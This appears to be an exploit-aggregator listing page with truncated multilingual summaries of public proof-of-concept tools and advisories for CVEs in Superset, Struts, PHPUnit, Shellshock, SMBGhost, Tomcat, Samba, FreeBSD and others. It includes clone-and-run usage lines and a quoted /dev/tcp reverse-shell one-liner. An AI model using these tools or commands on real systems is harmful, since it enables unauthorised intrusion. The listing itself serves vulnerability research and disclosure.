CVE-2023-27524

CVE-2023-27524 Apache Supersetにおける安全でないデフォルト設定により、リモートコード実行が可能になる スクリーンショット 必要条件 Python3.7+ 対応OS Linuxer Wingays 開始方法 root@kitploit: $ git clone https://github.com/Pari-Malam/CVE-2023-27524 $ cd CVE-2023-27524 $ pip/pip3 install -r requirements.txt $ python/python3 superset.py 注意事項...

CVE-2022-23967

CVE-2022-23967 TightVNC 1.3.10 では、整数の符号誤りがあり、その結果 rfbproto.c の InitialiseRFBConnection にヒープベースのバッファオーバーフローが発生します vncviewer コンポーネント用。malloc に与えられるサイズのチェックがなく、 例えば -1 が受け入れられます。これによりサイズ 0 のチャンクが割り当てられ、 ヒープポインタが得られます。しかし、0xffffffff バイトのデータが送信される可能性があり、 DoS の影響またはリモートコード実行につながる可能性があります。 脆弱性タイプ...

CVE-2026-79691

CVE-2026-79691 affects Dell Secure Connect Gateway (SCG) 5.0 , specifically the Appliance (versions prior to 5.36.00.16 ) and Application (versions prior to 5.36.00.00 ). The vulnerability is an Improper Certificate Validation flaw that allows an unauthenticated attacker with network access to by...

EUVD-2026-72484

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism...

CVE-2017-5638

CVE-2017-5638 | Struts s2-045 描述 通过恶意构造的Content-Type值，可以执行远程代码执行（RCE）攻击。如果Content-Type值无效，则会抛出异常，随后利用该异常向用户显示错误消息。 受影响版本 Struts 2.3.5 Struts 2.3.31 Struts 2.5 Struts 2.5.10 漏洞利用 修复措施 要修复此问题，请更新受影响软件以应用安全补丁。 Struts 2.3.32或2.5.10.1是已针对此特定问题打补丁的版本。 作者 此利用程序由zc00l ANDRE LUIS .. MARQUES编写；...

CVE-2017-9841

phpunit-shell ⭐ CVE-2017-9841 を悪用するシンプルな python3 スクリプト。 エクスプロイト - CVE-2017-9841 ❗ PHPUnit 4.8.28 未満および 5.x 系 5.6.3 未満で見つかったリモートコード実行の脆弱性を悪用するシンプルなスクリプトです。ユーザーが入力したシステムコマンドを POST リクエストでターゲットに送信します。 https://vulners.com/cve/CVE-2017-9841. 前提条件 ✔ python3 python3 用の requests モジュールと bs4...

CVE-2014-6271

Hellshocker 0.1.1 Shellshock 취약점 익스플로잇 도구 약한 쉘쇼크 익스플로잇을 사용하거나 단순히 "/bin/bash & /dev/tcp/IP/port 0&1" 로 서버에 침투하는 것에 지치셨나요? 네, 더 복잡한 무언가를 서버에 업로드하고 실행해야 하는데, 대용량 파일을 base64로 인코딩하면 웹 서버가 HTTP 요청을 수락하지 못할 수도 있습니다. 이 도구를 사용하면 문제가 해결될 수 있습니다. 페이로드를 base64로 인코딩하여 기본값 128바이트 크기의 청크로 웹 서버에 보낸 후, 전송이 완료되면...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 自动化利用与检测 该 Python 程序是对 RCE SMBGhost 漏洞的封装。漏洞利用部分的所有荣誉归功于 chompie1337。扫描器的所有荣誉归功于 ioncodes。 我只是将这些功能自动化到一个程序中。在生成反向 shell 时，你需要考虑 Windows 目标的架构。 该利用 不稳定 ，请自行承担风险。有时第一次不成功，所以我加入了第二次重试。 如果你要放入自己的 shellcode，请注意 shellcode 的最大大小为 600 字节 。 已在 Windows 10 x64（Microsoft Windows 版本...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485:Jackson-databind RCE...

ruby-RCE-CVE-2019-5420-

ruby 反序列化 （CVE-2019-5420） root@kitploit: https://github.com/PenTestical/CVE-2019-5420 参考： root@kitploit: 1 Ruby on Rails 命令执行漏洞payload实现过程 https://hackerone.com/reports/473888 Since ActiveSupport::MessageVerifier and ActiveSupport::MessageEncryptor use Marshal as the default serializer, I confirm...

CVE-2025-0282-Full-version

Storks：远程代码执行漏洞利用工具 概述 Storks 是一个基于 Python 的概念验证（PoC）工具，旨在演示特定网络设备中一个严重的远程代码执行（RCE）漏洞，编号为 CVE-2025-0282 。该漏洞可通过向特定端点发送精心构造的 POST 请求来利用。此工具仅用于教育和研究目的。 免责声明： 请注意，未经适当授权使用此工具是非法且不道德的。我们不对因滥用此工具造成的任何损害或行为负责。请负责任地使用，风险自负。 漏洞描述 /dana-na/auth/urldefault/welcome.cgi...

CVE-2025-24813-POC

CVE-2025-24813 Apache Tomcat RCE PoC CVE-2025-24813을 위한 PoC, Apache Tomcat의 원격 코드 실행RCE 취약점입니다. 중요: 이 PoC는 자신의 환경을 테스트하거나 교육 목적으로만 사용해야 합니다. 승인되지 않은 시스템을 익스플로잇하는 데 이 PoC를 사용하는 것은 금지되어 있으며 불법일 수 있습니다. 이 PoC의 제작자와 배포자는 오용이나 손해에 대해 책임을 지지 않습니다. 소유하지 않은 환경을 테스트하기 전에 항상 명시적 허가를 받으십시오. 사용법 root@kitploi...

CVE-2026-79643

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Incorrect Operator vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access...

CVE-2026-79643

Dell Secure Connect Gateway (SCG) 5.0 — both Appliance and Application editions — is affected by a Use of Incorrect Operator vulnerability. An unauthenticated attacker with remote network access could exploit this flaw (no user interaction required) to gain unauthorized access , with low impact o...

EUVD-2026-72483

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Incorrect Operator vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access...

CVE-2024-38472

Apache HTTP Server Windows の SSRF 脆弱性 CVE-2024-38472 に対して Remote Code Execution RCE Metasploit モジュールを作成するのは困難です。SSRF 自体は直接 RCE にはつながらないからです。ただし、SSRF は多くの場合 RCE 達成へのステップとなり得ます。特に、内部サービスとの対話や二次的な脆弱性の発動に利用できる場合です。 SSRF 経由の RCE 戦略 RCE を SSRF 経由で達成するには、通常以下が必要です。 1. SSRF 経由で悪用可能な特定の攻撃に対して脆弱な内部サービス。 2...

OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 認証済みRCE（CVE-2021-31630） これは、OpenPLC v3 の脆弱性 CVE-2021-31630 向けの、モダンな Python 3.13+ 互換の概念実証（PoC）エクスプロイトです。この脆弱性により、認証済みユーザーが悪意のあるコードを含むカスタムハードウェアレイヤーをアップロードし、ホスト上でリモートコード実行（RCE）を引き起こすことが可能になります。 元の脆弱性の発見とアドバイザリは Fellipe Oliveira によるものです。 この再実装および近代化版では、httpx、CLIツール、ロギング、より安全な検出技術を使用しています。...

CVE-2025-55182

CVE-2025-55182 - React & Next.js Server Actions RCE エクスプロイト React/Next.js Server Actions における CVE-2025-55182 のフル機能のリモートコード実行エクスプロイトおよびスキャナー。 元のPoC: Spritualkb/CVE-2025-55182-exp 概要 CVE-2025-55182 は、React Server Components における重大なプロトタイプ汚染の脆弱性であり、リモートコード実行を可能にします。このリポジトリは、自動スキャン（Nuclei...

CVE-2007-2447

CVE-2007-2447 CVE-2007-2447 - Samba usermapスクリプト。 https://alien0ne.digitalpress.blog/cve-2007-2447/ 使用方法: root@kitploit: $ python3 script.py rhost - ターゲットアドレス rport - ターゲットポート lhost - リスナーアドレス lport - リスナーポート インストール方法: このエクスプロイトにはPython 3.7以降が必要です root@kitploit: sudo apt-get -y install python3-pi...

CVE-2025-14558

CVE-2025-14558 FreeBSD rtsold DNSSL コマンドインジェクション RCE 説明 rtsold8 は、DNSSLドメイン名にシェルのメタ文字が含まれていないか検証せずに resolvconf8 に渡します。$ によるコマンド置換により、隣接ネットワークからのリモートコード実行が可能になります。 影響を受けるバージョン: FreeBSD 13.x, 14.x, 15.x 2025-12-16 より前 使用法 root@kitploit: sudo python3 exploit.py -i eth0 touch /tmp/pwned sudo python3...